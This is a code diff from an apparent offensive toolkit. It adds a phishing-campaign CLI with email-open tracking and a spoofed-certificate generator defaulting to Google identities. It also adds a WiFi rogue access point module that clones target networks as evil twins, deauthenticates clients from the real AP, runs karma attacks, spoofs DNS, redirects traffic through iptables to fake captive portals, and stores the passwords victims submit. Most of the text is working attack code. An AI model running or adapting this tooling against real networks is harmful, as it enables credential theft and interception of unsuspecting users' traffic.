if choice == '0': + break + elif choice == '1': + _cli_compose(server) + elif choice == '2': + _cli_campaigns(server) + elif choice == '3': + _cli_templates(server) + elif choice == '4': + _cli_relay(server) + elif choice == '5': + _cli_generate_cert(server) + elif choice == '6': + _cli_tracking(server) + elif choice == '7': + _cli_test_smtp(server) + + +def _cli_compose(server: GoneFishingServer): + """Compose and send a single email.""" + print("\n--- Compose Email ---") + from_name = input(" From Name: ").strip() or "IT Department" + from_addr = input(" From Address: ").strip() or "it@company.local" + to_input = input(" To (comma-separated): ").strip() + if not to_input: + print(" [!] No recipients specified") + return + + to_addrs = [a.strip() for a in to_input.split(',') if a.strip()] + + # Validate + for addr in to_addrs: + ok, msg = _validate_local_only(addr) + if not ok: + print(f" [!] {msg}") + return + + subject = input(" Subject: ").strip() or "Test Email" + + # Template selection + templates = server.templates.list_templates() + print("\n Available templates:") + tpl_list = list(templates.keys()) + for i, name in enumerate(tpl_list, 1): + tag = " (built-in)" if templates[name].get('builtin') else "" + print(f" {i} — {name}{tag}") + print(f" 0 — Custom (enter HTML manually)") + + tpl_choice = input(" Template: ").strip() + html_body = '' + text_body = '' + + if tpl_choice == '0' or not tpl_choice: + html_body = input(" HTML Body (or press Enter for plain text): ").strip() + if not html_body: + text_body = input(" Plain Text Body: ").strip() + else: + try: + idx = int(tpl_choice) - 1 + if 0 <= idx < len(tpl_list): + tpl = templates[tpl_list[idx]] + html_body = tpl.get('html', '') + text_body = tpl.get('text', '') + if tpl.get('subject') and not subject: + subject = tpl['subject'] + print(f" Using template: {tpl_list[idx]}") + else: + print(" [!] Invalid template selection") + return + except ValueError: + print(" [!] Invalid selection") + return + + smtp_host = input(" SMTP Host [127.0.0.1]: ").strip() or "127.0.0.1" + smtp_port = input(" SMTP Port [25]: ").strip() or "25" + use_tls = input(" Use TLS? [y/N]: ").strip().lower() == 'y' + + config = { + 'from_addr': from_addr, + 'from_name': from_name, + 'to_addrs': to_addrs, + 'subject': subject, + 'html_body': html_body, + 'text_body': text_body, + 'smtp_host': smtp_host, + 'smtp_port': int(smtp_port), + 'use_tls': use_tls, + } + + print("\n Sending...") + result = server.send_email(config) + if result['ok']: + print(f" [+] {result['message']}") + else: + print(f" [-] {result['error']}") + + +def _cli_campaigns(server: GoneFishingServer): + """Campaign management CLI.""" + while True: + print("\n--- Campaign Management ---") + campaigns = server.campaigns.list_campaigns() + if campaigns: + for c in campaigns: + stats = server.campaigns.get_stats(c['id']) + print(f" [{c['id']}] {c['name']} — " + f"Status: {c['status']}, " + f"Targets: {stats.get('total', 0)}, " + f"Sent: {stats.get('sent', 0)}, " + f"Opened: {stats.get('opened', 0)}") + else: + print(" No campaigns yet") + + print("\n 1 — Create Campaign") + print(" 2 — Send Campaign") + print(" 3 — Delete Campaign") + print(" 0 — Back") + + choice = input(" Select: ").strip() + if choice == '0': + break + elif choice == '1': + name = input(" Campaign Name: ").strip() + if not name: + continue + templates = server.templates.list_templates() + tpl_list = list(templates.keys()) + print(" Templates:") + for i, t in enumerate(tpl_list, 1): + print(f" {i} — {t}") + tpl_idx = input(" Template #: ").strip() + try: + template = tpl_list[int(tpl_idx) - 1] + except (ValueError, IndexError): + print(" [!] Invalid template") + continue + targets = input(" Targets (comma-separated emails): ").strip() + if not targets: + continue + target_list = [t.strip() for t in targets.split(',') if t.strip()] + from_addr = input(" From Address: ").strip() or "it@company.local" + from_name = input(" From Name: ").strip() or "IT Department" + subject = input(" Subject: ").strip() or templates[template].get('subject', 'Notification') + smtp_host = input(" SMTP Host [127.0.0.1]: ").strip() or "127.0.0.1" + smtp_port = input(" SMTP Port [25]: ").strip() or "25" + + cid = server.campaigns.create_campaign( + name, template, target_list, from_addr, from_name, + subject, smtp_host, int(smtp_port)) + print(f" [+] Campaign created: {cid}") + elif choice == '2': + cid = input(" Campaign ID: ").strip() + result = server.send_campaign(cid) + if result['ok']: + print(f" [+] {result['message']}") + else: + print(f" [-] {result['error']}") + elif choice == '3': + cid = input(" Campaign ID: ").strip() + if server.campaigns.delete_campaign(cid): + print(" [+] Campaign deleted") + else: + print(" [-] Campaign not found") + + +def _cli_templates(server: GoneFishingServer): + """Template management CLI.""" + templates = server.templates.list_templates() + print("\n--- Email Templates ---") + for name, tpl in templates.items(): + tag = " (built-in)" if tpl.get('builtin') else " (custom)" + print(f" {name}{tag}") + if tpl.get('subject'): + print(f" Subject: {tpl['subject']}") + + print("\n 1 — Create Custom Template") + print(" 2 — Delete Custom Template") + print(" 0 — Back") + + choice = input(" Select: ").strip() + if choice == '1': + name = input(" Template Name: ").strip() + if not name: + return + subject = input(" Subject: ").strip() + print(" Enter HTML body (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + html = '\n'.join(lines) + text = input(" Plain text fallback: ").strip() + server.templates.save_template(name, html, text, subject) + print(f" [+] Template '{name}' saved") + elif choice == '2': + name = input(" Template Name to delete: ").strip() + if server.templates.delete_template(name): + print(f" [+] Template '{name}' deleted") + else: + print(" [-] Template not found (or is built-in)") + + +def _cli_relay(server: GoneFishingServer): + """SMTP relay control.""" + status = server.relay_status() + if status['running']: + print(f"\n SMTP Relay: RUNNING on {status['host']}:{status['port']}") + print(f" Received messages: {status['received']}") + stop = input(" Stop relay? [y/N]: ").strip().lower() + if stop == 'y': + server.stop_relay() + print(" [+] Relay stopped") + else: + print("\n SMTP Relay: STOPPED") + host = input(" Bind host [0.0.0.0]: ").strip() or "0.0.0.0" + port = input(" Bind port [2525]: ").strip() or "2525" + result = server.start_relay(host, int(port)) + print(f" [+] {result['message']}") + + +def _cli_generate_cert(server: GoneFishingServer): + """Generate spoofed certificate.""" + print("\n--- Certificate Generator ---") + print(" Generate a self-signed TLS certificate with custom fields.") + cn = input(" Common Name (CN) [mail.google.com]: ").strip() or "mail.google.com" + org = input(" Organization (O) [Google LLC]: ").strip() or "Google LLC" + ou = input(" Org Unit (OU) []: ").strip() + country = input(" Country (C) [US]: ").strip() or "US" + + result = server.generate_cert(cn=cn, org=org, ou=ou, country=country) + if result['ok']: + print(f" [+] {result['message']}") + print(f" Cert: {result['cert']}") + print(f" Key: {result['key']}") + else: + print(f" [-] {result['error']}") + + +def _cli_tracking(server: GoneFishingServer): + """View tracking stats for campaigns.""" + campaigns = server.campaigns.list_campaigns() + if not campaigns: + print("\n No campaigns to show stats for") + return + print("\n--- Campaign Tracking ---") + for c in campaigns: + stats = server.campaigns.get_stats(c['id']) + print(f"\n Campaign: {c['name']} [{c['id']}]") + print(f" Status: {c['status']}") + print(f" Total Targets: {stats.get('total', 0)}") + print(f" Sent: {stats.get('sent', 0)}") + print(f" Opened: {stats.get('opened', 0)} ({stats.get('open_rate', '0%')})") + print(f" Clicked: {stats.get('clicked', 0)} ({stats.get('click_rate', '0%')})") + + # Show per-target details + camp = server.campaigns.get_campaign(c['id']) + if camp: + for t in camp['targets']: + status_icon = '✓' if t.get('sent_at') else '·' + open_icon = '👁' if t.get('opened_at') else '' + click_icon = '🖱' if t.get('clicked_at') else '' + print(f" {status_icon} {t['email']} {open_icon} {click_icon}") + + +def _cli_test_smtp(server: GoneFishingServer): + """Test SMTP connection.""" + host = input(" SMTP Host: ").strip() + if not host: + return + port = input(" Port [25]: ").strip() or "25" + print(f" Testing {host}:{port}...") + result = server.test_smtp(host, int(port)) + if result['ok']: + print(f" [+] {result['message']}") + if result.get('banner'): + print(f" Banner: {result['banner'][:200]}") + else: + print(f" [-] {result['error']}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/pineapple.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/pineapple.py new file mode 100644 index 0000000..c0ad1cb --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/pineapple.py @@ -0,0 +1,1669 @@ +"""AUTARCH WiFi Pineapple / Rogue AP + +Evil twin AP, captive portal, karma attack, client MITM, +DNS spoofing, and credential capture for wireless assessments. +Designed for Raspberry Pi and SBCs with dual WiFi or WiFi + Ethernet. +""" + +DESCRIPTION = "Rogue AP — evil twin, captive portal, karma attacks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import shutil +import signal +import threading +import subprocess +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Captive Portal HTML Templates ──────────────────────────────────────────── + +CAPTIVE_PORTAL_TEMPLATES = { + 'hotel_wifi': ''' + + + + +Hotel WiFi — Guest Portal + + + +
+

Welcome to Our Hotel

+Enter your room details to connect to the internet. +
+ + + + + + + +
+ +
+ +''', + + 'corporate': ''' + + + + +Corporate Network — Authentication + + + +
+ +

Network Authentication

+Sign in with your corporate credentials to access the network. +
+ + + + + + + +
+
This is a monitored network. Unauthorized access is prohibited.
+ +
+ +''', + + 'social_login': ''' + + + + +Free WiFi — Connect + + + +
+

Free WiFi Hotspot

+Sign in to get connected. +
+ + +
or sign in with email
+ + + + + +
+ +
+ +''', + + 'terms_accept': ''' + + + + +WiFi — Accept Terms + + + +
+

WiFi Access

+Please accept the terms of service to connect. +
+

Terms of Service

+

1. This wireless network is provided for authorized use only. By accessing this network, you agree to be bound by these terms.

+

2. You agree not to engage in any illegal or unauthorized activity while using this network. All network traffic may be monitored and logged.

+

3. The network provider is not responsible for any data loss, security breaches, or damages resulting from use of this network.

+

4. You acknowledge that this is a shared network and that data transmitted may be visible to other users. Use of VPN is recommended for sensitive communications.

+

5. The provider reserves the right to terminate access at any time without notice for any violation of these terms.

+

6. Maximum bandwidth allocation applies. Streaming and large downloads may be throttled during peak hours.

+

7. You agree to provide accurate registration information.

+
+
+ +
+ + +
+
+ + +
+ + +
+ +
+ +''', +} + +PORTAL_SUCCESS_PAGE = ''' + + + + +Connected + + + +
+
+

Connected Successfully

+

You are now connected to the internet. You may close this page and begin browsing.

+
+ +''' + + +# ── Pineapple AP Class ─────────────────────────────────────────────────────── + +class PineappleAP: + """WiFi Pineapple / Rogue AP controller.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() + if isinstance(data_dir, Path): + data_dir = str(data_dir) + self.data_dir = os.path.join(data_dir, 'pineapple') + os.makedirs(self.data_dir, exist_ok=True) + + self.configs_dir = os.path.join(self.data_dir, 'configs') + os.makedirs(self.configs_dir, exist_ok=True) + self.captures_dir = os.path.join(self.data_dir, 'captures') + os.makedirs(self.captures_dir, exist_ok=True) + self.traffic_dir = os.path.join(self.data_dir, 'traffic') + os.makedirs(self.traffic_dir, exist_ok=True) + + # Tool paths + self.hostapd = find_tool('hostapd') or shutil.which('hostapd') + self.dnsmasq = find_tool('dnsmasq') or shutil.which('dnsmasq') + self.iptables = find_tool('iptables') or shutil.which('iptables') + self.nftables = find_tool('nft') or shutil.which('nft') + self.airbase = find_tool('airbase-ng') or shutil.which('airbase-ng') + self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng') + self.sslstrip_bin = find_tool('sslstrip') or shutil.which('sslstrip') + self.tcpdump = find_tool('tcpdump') or shutil.which('tcpdump') + self.iwconfig_bin = shutil.which('iwconfig') + self.iw_bin = shutil.which('iw') + self.ip_bin = shutil.which('ip') + + # State + self._ap_running = False + self._ap_ssid = '' + self._ap_channel = 6 + self._ap_interface = '' + self._internet_interface = '' + self._hostapd_proc: Optional[subprocess.Popen] = None + self._dnsmasq_proc: Optional[subprocess.Popen] = None + self._portal_active = False + self._portal_type = '' + self._karma_active = False + self._karma_proc: Optional[subprocess.Popen] = None + self._sslstrip_proc: Optional[subprocess.Popen] = None + self._sslstrip_active = False + self._sniff_proc: Optional[subprocess.Popen] = None + self._dns_spoofs: Dict[str, str] = {} + self._dns_spoof_active = False + self._clients: Dict[str, Dict] = {} + self._portal_captures: List[Dict] = [] + self._traffic_stats: Dict[str, Any] = { + 'total_bytes': 0, 'top_domains': {}, 'top_clients': {} + } + self._lock = threading.Lock() + + # Load persisted captures + self._load_captures() + + # ── Interface Management ───────────────────────────────────────────── + + def get_interfaces(self) -> List[Dict]: + """List wireless interfaces with driver info, mode, channel.""" + interfaces = [] + + # Try iw first + if self.iw_bin: + try: + out = subprocess.check_output( + [self.iw_bin, 'dev'], text=True, timeout=5, + stderr=subprocess.DEVNULL + ) + current_phy = '' + iface = None + for line in out.splitlines(): + stripped = line.strip() + if stripped.startswith('phy#'): + current_phy = stripped + elif stripped.startswith('Interface'): + if iface: + interfaces.append(iface) + iface = { + 'name': stripped.split()[-1], + 'mode': 'managed', + 'channel': 0, + 'mac': '', + 'phy': current_phy, + 'driver': '' + } + elif iface: + if stripped.startswith('type'): + iface['mode'] = stripped.split()[-1] + elif stripped.startswith('channel'): + try: + iface['channel'] = int(stripped.split()[1]) + except (ValueError, IndexError): + pass + elif stripped.startswith('addr'): + iface['mac'] = stripped.split()[-1] + if iface: + interfaces.append(iface) + except Exception: + pass + + # Get driver info from /sys + for iface in interfaces: + try: + driver_link = Path(f'/sys/class/net/{iface["name"]}/device/driver') + if driver_link.exists(): + iface['driver'] = os.path.basename(os.readlink(str(driver_link))) + except Exception: + pass + + # Fallback to iwconfig + if not interfaces and self.iwconfig_bin: + try: + out = subprocess.check_output( + [self.iwconfig_bin], text=True, + stderr=subprocess.DEVNULL, timeout=5 + ) + for block in out.split('\n\n'): + if 'IEEE 802.11' in block or 'ESSID' in block: + name = block.split()[0] + mode = 'managed' + if 'Mode:Monitor' in block: + mode = 'monitor' + elif 'Mode:Master' in block: + mode = 'master' + ch_m = re.search(r'Channel[:\s]*(\d+)', block) + ch = int(ch_m.group(1)) if ch_m else 0 + interfaces.append({ + 'name': name, 'mode': mode, 'channel': ch, + 'mac': '', 'phy': '', 'driver': '' + }) + except Exception: + pass + + # Fallback: /sys/class/net + if not interfaces: + try: + wireless_dir = Path('/sys/class/net') + if wireless_dir.exists(): + for d in wireless_dir.iterdir(): + if (d / 'wireless').exists() or (d / 'phy80211').exists(): + driver = '' + try: + dl = d / 'device' / 'driver' + if dl.exists(): + driver = os.path.basename(os.readlink(str(dl))) + except Exception: + pass + interfaces.append({ + 'name': d.name, 'mode': 'unknown', 'channel': 0, + 'mac': '', 'phy': '', 'driver': driver + }) + except Exception: + pass + + # Also list non-wireless interfaces (for internet_interface) + # Tag each with 'wireless': True/False + wireless_names = {i['name'] for i in interfaces} + for iface in interfaces: + iface['wireless'] = True + + try: + net_dir = Path('/sys/class/net') + if net_dir.exists(): + for d in net_dir.iterdir(): + if d.name not in wireless_names and d.name != 'lo': + # Check if it's up and has carrier + try: + operstate = (d / 'operstate').read_text().strip() + except Exception: + operstate = 'unknown' + interfaces.append({ + 'name': d.name, 'mode': operstate, + 'channel': 0, 'mac': '', 'phy': '', + 'driver': '', 'wireless': False + }) + except Exception: + pass + + return interfaces + + def get_tools_status(self) -> Dict[str, bool]: + """Check availability of all required tools.""" + return { + 'hostapd': self.hostapd is not None, + 'dnsmasq': self.dnsmasq is not None, + 'iptables': self.iptables is not None, + 'nft': self.nftables is not None, + 'airbase-ng': self.airbase is not None, + 'aireplay-ng': self.aireplay is not None, + 'sslstrip': self.sslstrip_bin is not None, + 'tcpdump': self.tcpdump is not None, + 'iw': self.iw_bin is not None, + 'ip': self.ip_bin is not None, + } + + # ── Rogue AP ───────────────────────────────────────────────────────── + + def start_rogue_ap(self, ssid: str, interface: str, channel: int = 6, + encryption: str = 'open', password: str = None, + internet_interface: str = None) -> Dict: + """Configure and start hostapd-based rogue access point.""" + if self._ap_running: + return {'ok': False, 'error': 'AP is already running. Stop it first.'} + if not self.hostapd: + return {'ok': False, 'error': 'hostapd not found. Install with: apt install hostapd'} + if not self.dnsmasq: + return {'ok': False, 'error': 'dnsmasq not found. Install with: apt install dnsmasq'} + if not ssid or not interface: + return {'ok': False, 'error': 'SSID and interface are required'} + + try: + # Build hostapd configuration + hostapd_conf = os.path.join(self.configs_dir, 'hostapd.conf') + conf_lines = [ + f'interface={interface}', + f'ssid={ssid}', + f'channel={channel}', + 'driver=nl80211', + 'hw_mode=g', + 'wmm_enabled=0', + 'macaddr_acl=0', + 'auth_algs=1', + 'ignore_broadcast_ssid=0', + ] + + if encryption == 'wpa2' and password: + conf_lines.extend([ + 'wpa=2', + 'wpa_key_mgmt=WPA-PSK', + f'wpa_passphrase={password}', + 'rsn_pairwise=CCMP', + ]) + elif encryption == 'wpa' and password: + conf_lines.extend([ + 'wpa=1', + 'wpa_key_mgmt=WPA-PSK', + f'wpa_passphrase={password}', + 'wpa_pairwise=TKIP', + ]) + + with open(hostapd_conf, 'w') as f: + f.write('\n'.join(conf_lines) + '\n') + + # Configure interface IP + ap_ip = '10.0.0.1' + ap_subnet = '10.0.0.0/24' + if self.ip_bin: + subprocess.run( + [self.ip_bin, 'addr', 'flush', 'dev', interface], + capture_output=True, timeout=5 + ) + subprocess.run( + [self.ip_bin, 'addr', 'add', f'{ap_ip}/24', 'dev', interface], + capture_output=True, timeout=5 + ) + subprocess.run( + [self.ip_bin, 'link', 'set', interface, 'up'], + capture_output=True, timeout=5 + ) + + # Build dnsmasq configuration + dnsmasq_conf = os.path.join(self.configs_dir, 'dnsmasq.conf') + dns_lines = [ + f'interface={interface}', + 'bind-interfaces', + f'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h', + f'dhcp-option=3,{ap_ip}', + f'dhcp-option=6,{ap_ip}', + f'server=8.8.8.8', + f'server=8.8.4.4', + 'log-queries', + f'log-facility={os.path.join(self.data_dir, "dnsmasq.log")}', + f'dhcp-leasefile={os.path.join(self.data_dir, "dnsmasq.leases")}', + ] + + # Add DNS spoofs if active + if self._dns_spoof_active and self._dns_spoofs: + for domain, ip in self._dns_spoofs.items(): + dns_lines.append(f'address=/{domain}/{ip}') + + with open(dnsmasq_conf, 'w') as f: + f.write('\n'.join(dns_lines) + '\n') + + # Set up NAT/forwarding if internet interface provided + if internet_interface: + self._setup_nat(interface, internet_interface, ap_subnet) + self._internet_interface = internet_interface + + # Start hostapd + self._hostapd_proc = subprocess.Popen( + [self.hostapd, hostapd_conf], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + + # Check if hostapd started OK + if self._hostapd_proc.poll() is not None: + stderr = self._hostapd_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'hostapd failed to start: {stderr[:300]}'} + + # Start dnsmasq + self._dnsmasq_proc = subprocess.Popen( + [self.dnsmasq, '-C', dnsmasq_conf, '-d'], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(0.5) + + if self._dnsmasq_proc.poll() is not None: + stderr = self._dnsmasq_proc.stderr.read().decode(errors='replace') + self._hostapd_proc.terminate() + return {'ok': False, 'error': f'dnsmasq failed to start: {stderr[:300]}'} + + self._ap_running = True + self._ap_ssid = ssid + self._ap_channel = channel + self._ap_interface = interface + + return { + 'ok': True, + 'message': f'Rogue AP "{ssid}" started on {interface} (ch {channel})', + 'ssid': ssid, + 'channel': channel, + 'interface': interface, + 'ip': ap_ip, + 'encryption': encryption, + 'nat': internet_interface is not None + } + + except Exception as e: + self.stop_rogue_ap() + return {'ok': False, 'error': str(e)} + + def stop_rogue_ap(self) -> Dict: + """Stop rogue AP, kill hostapd/dnsmasq, cleanup.""" + errors = [] + + # Kill hostapd + if self._hostapd_proc: + try: + self._hostapd_proc.terminate() + self._hostapd_proc.wait(timeout=5) + except Exception: + try: + self._hostapd_proc.kill() + except Exception: + pass + self._hostapd_proc = None + + # Kill dnsmasq + if self._dnsmasq_proc: + try: + self._dnsmasq_proc.terminate() + self._dnsmasq_proc.wait(timeout=5) + except Exception: + try: + self._dnsmasq_proc.kill() + except Exception: + pass + self._dnsmasq_proc = None + + # Remove NAT rules + if self._internet_interface and self._ap_interface: + self._teardown_nat(self._ap_interface, self._internet_interface) + + # Stop captive portal if running + if self._portal_active: + self.stop_captive_portal() + + # Stop karma if running + if self._karma_active: + self.disable_karma() + + # Stop SSL strip if running + if self._sslstrip_active: + self.disable_ssl_strip() + + # Flush interface IP + if self.ip_bin and self._ap_interface: + try: + subprocess.run( + [self.ip_bin, 'addr', 'flush', 'dev', self._ap_interface], + capture_output=True, timeout=5 + ) + except Exception: + pass + + self._ap_running = False + self._ap_ssid = '' + self._ap_channel = 6 + self._ap_interface = '' + self._internet_interface = '' + self._clients.clear() + + return {'ok': True, 'message': 'Rogue AP stopped and cleaned up'} + + def is_running(self) -> bool: + """Check if AP is active.""" + if self._ap_running and self._hostapd_proc: + if self._hostapd_proc.poll() is not None: + self._ap_running = False + return self._ap_running + + def get_status(self) -> Dict: + """Get AP status details.""" + running = self.is_running() + return { + 'running': running, + 'ssid': self._ap_ssid if running else '', + 'channel': self._ap_channel if running else 0, + 'interface': self._ap_interface if running else '', + 'internet_interface': self._internet_interface if running else '', + 'client_count': len(self._clients) if running else 0, + 'portal_active': self._portal_active, + 'portal_type': self._portal_type, + 'karma_active': self._karma_active, + 'sslstrip_active': self._sslstrip_active, + 'dns_spoof_active': self._dns_spoof_active, + 'dns_spoofs': self._dns_spoofs if self._dns_spoof_active else {}, + 'capture_count': len(self._portal_captures), + 'tools': self.get_tools_status() + } + + # ── Evil Twin ──────────────────────────────────────────────────────── + + def evil_twin(self, target_ssid: str, target_bssid: str, interface: str, + internet_interface: str = None) -> Dict: + """Clone target AP config and start rogue AP with same parameters.""" + if self._ap_running: + return {'ok': False, 'error': 'AP already running. Stop it first.'} + if not target_ssid or not interface: + return {'ok': False, 'error': 'Target SSID and interface are required'} + + # Try to determine target channel + channel = 6 # default + if self.iw_bin: + try: + out = subprocess.check_output( + [self.iw_bin, 'dev', interface, 'scan'], + text=True, timeout=15, stderr=subprocess.DEVNULL + ) + # Parse scan output for the target BSSID/SSID + bss_block = '' + capture = False + for line in out.splitlines(): + if line.startswith('BSS '): + if capture and bss_block: + break + bssid_found = line.split()[1].split('(')[0].upper() + if target_bssid and bssid_found == target_bssid.upper(): + capture = True + bss_block = '' + else: + capture = False + if capture: + bss_block += line + '\n' + + if bss_block: + ch_m = re.search(r'DS Parameter set: channel (\d+)', bss_block) + if ch_m: + channel = int(ch_m.group(1)) + else: + ch_m = re.search(r'primary channel: (\d+)', bss_block) + if ch_m: + channel = int(ch_m.group(1)) + except Exception: + pass + + # Optionally deauth clients from real AP + if target_bssid and self.aireplay: + try: + subprocess.Popen( + [self.aireplay, '-0', '5', '-a', target_bssid, interface], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + except Exception: + pass # Non-fatal: deauth is optional + + # Start AP with cloned params + result = self.start_rogue_ap( + ssid=target_ssid, + interface=interface, + channel=channel, + encryption='open', + internet_interface=internet_interface + ) + + if result.get('ok'): + result['message'] = ( + f'Evil twin for "{target_ssid}" started on ch {channel}' + + (f' (cloned from {target_bssid})' if target_bssid else '') + ) + result['evil_twin'] = True + result['target_bssid'] = target_bssid + + return result + + # ── Captive Portal ─────────────────────────────────────────────────── + + def start_captive_portal(self, portal_type: str = 'hotel_wifi', + custom_html: str = None) -> Dict: + """Set up iptables to redirect HTTP to captive portal.""" + if not self._ap_running: + return {'ok': False, 'error': 'Start rogue AP first before enabling captive portal'} + if not self.iptables: + return {'ok': False, 'error': 'iptables not found'} + + ap_ip = '10.0.0.1' + + try: + # Redirect HTTP (port 80) to our portal server + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '80', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Redirect HTTPS (port 443) to portal as well + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Allow the redirect + subprocess.run([ + self.iptables, '-A', 'FORWARD', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '8080', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + self._portal_active = True + self._portal_type = portal_type + + # Save portal HTML for serving + if custom_html: + portal_html = custom_html + else: + portal_html = CAPTIVE_PORTAL_TEMPLATES.get(portal_type, '') + if not portal_html: + portal_html = CAPTIVE_PORTAL_TEMPLATES.get('hotel_wifi', '') + + portal_file = os.path.join(self.configs_dir, 'portal.html') + with open(portal_file, 'w') as f: + f.write(portal_html) + + success_file = os.path.join(self.configs_dir, 'portal_success.html') + with open(success_file, 'w') as f: + f.write(PORTAL_SUCCESS_PAGE) + + return { + 'ok': True, + 'message': f'Captive portal ({portal_type}) enabled', + 'portal_type': portal_type, + 'redirect_ip': ap_ip + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop_captive_portal(self) -> Dict: + """Remove captive portal iptables redirect rules.""" + if not self._portal_active: + return {'ok': False, 'error': 'No captive portal is running'} + + ap_ip = '10.0.0.1' + + try: + if self.iptables and self._ap_interface: + # Remove HTTP redirect + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '80', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Remove HTTPS redirect + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Remove forward rule + subprocess.run([ + self.iptables, '-D', 'FORWARD', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '8080', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + except Exception: + pass + + self._portal_active = False + self._portal_type = '' + return {'ok': True, 'message': 'Captive portal stopped'} + + def capture_portal_creds(self, data: Dict) -> Dict: + """Log credentials from portal form submission.""" + entry = { + 'timestamp': datetime.now().isoformat(), + 'username': data.get('username', ''), + 'password': data.get('password', ''), + 'email': data.get('email', ''), + 'domain': data.get('domain', ''), + 'provider': data.get('provider', ''), + 'ip': data.get('ip', ''), + 'user_agent': data.get('user_agent', ''), + } + + with self._lock: + self._portal_captures.append(entry) + self._save_captures() + + return {'ok': True, 'count': len(self._portal_captures)} + + def get_portal_captures(self) -> List[Dict]: + """Return all captured portal credentials.""" + return list(self._portal_captures) + + def get_portal_html(self) -> str: + """Return the current portal HTML page.""" + portal_file = os.path.join(self.configs_dir, 'portal.html') + if os.path.exists(portal_file): + with open(portal_file, 'r') as f: + return f.read() + # Default fallback + return CAPTIVE_PORTAL_TEMPLATES.get('hotel_wifi', 'Portal') + + def get_portal_success_html(self) -> str: + """Return the portal success page HTML.""" + success_file = os.path.join(self.configs_dir, 'portal_success.html') + if os.path.exists(success_file): + with open(success_file, 'r') as f: + return f.read() + return PORTAL_SUCCESS_PAGE + + # ── Karma Attack ───────────────────────────────────────────────────── + + def enable_karma(self, interface: str = None) -> Dict: + """Enable karma mode: respond to all probe requests.""" + iface = interface or self._ap_interface + if not iface: + return {'ok': False, 'error': 'No interface specified'} + if self._karma_active: + return {'ok': False, 'error': 'Karma mode is already active'} + + # Prefer hostapd-mana if available + hostapd_mana = find_tool('hostapd-mana') or shutil.which('hostapd-mana') + + if hostapd_mana: + # Generate karma-enabled hostapd-mana config + karma_conf = os.path.join(self.configs_dir, 'karma.conf') + conf_lines = [ + f'interface={iface}', + 'ssid=FreeWiFi', + 'channel=6', + 'driver=nl80211', + 'hw_mode=g', + 'enable_karma=1', + 'karma_black_white=0', + ] + with open(karma_conf, 'w') as f: + f.write('\n'.join(conf_lines) + '\n') + + try: + self._karma_proc = subprocess.Popen( + [hostapd_mana, karma_conf], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + if self._karma_proc.poll() is not None: + stderr = self._karma_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'hostapd-mana failed: {stderr[:200]}'} + + self._karma_active = True + return {'ok': True, 'message': 'Karma mode enabled via hostapd-mana'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # Fallback: airbase-ng for karma + elif self.airbase: + try: + self._karma_proc = subprocess.Popen( + [self.airbase, '-P', '-C', '30', '-e', 'FreeWiFi', '-v', iface], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + if self._karma_proc.poll() is not None: + stderr = self._karma_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'airbase-ng failed: {stderr[:200]}'} + + self._karma_active = True + return {'ok': True, 'message': 'Karma mode enabled via airbase-ng'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': False, 'error': 'Neither hostapd-mana nor airbase-ng found'} + + def disable_karma(self) -> Dict: + """Stop karma mode.""" + if not self._karma_active: + return {'ok': False, 'error': 'Karma mode is not active'} + + if self._karma_proc: + try: + self._karma_proc.terminate() + self._karma_proc.wait(timeout=5) + except Exception: + try: + self._karma_proc.kill() + except Exception: + pass + self._karma_proc = None + + self._karma_active = False + return {'ok': True, 'message': 'Karma mode disabled'} + + # ── Client Management ──────────────────────────────────────────────── + + def get_clients(self) -> List[Dict]: + """List connected clients from DHCP leases and ARP table.""" + clients = {} + + # Parse dnsmasq lease file + lease_file = os.path.join(self.data_dir, 'dnsmasq.leases') + if os.path.exists(lease_file): + try: + with open(lease_file, 'r') as f: + for line in f: + parts = line.strip().split() + if len(parts) >= 4: + mac = parts[1].upper() + ip = parts[2] + hostname = parts[3] if parts[3] != '*' else '' + clients[mac] = { + 'mac': mac, + 'ip': ip, + 'hostname': hostname, + 'os': self._fingerprint_os(hostname, mac), + 'first_seen': self._clients.get(mac, {}).get( + 'first_seen', datetime.now().isoformat()), + 'last_seen': 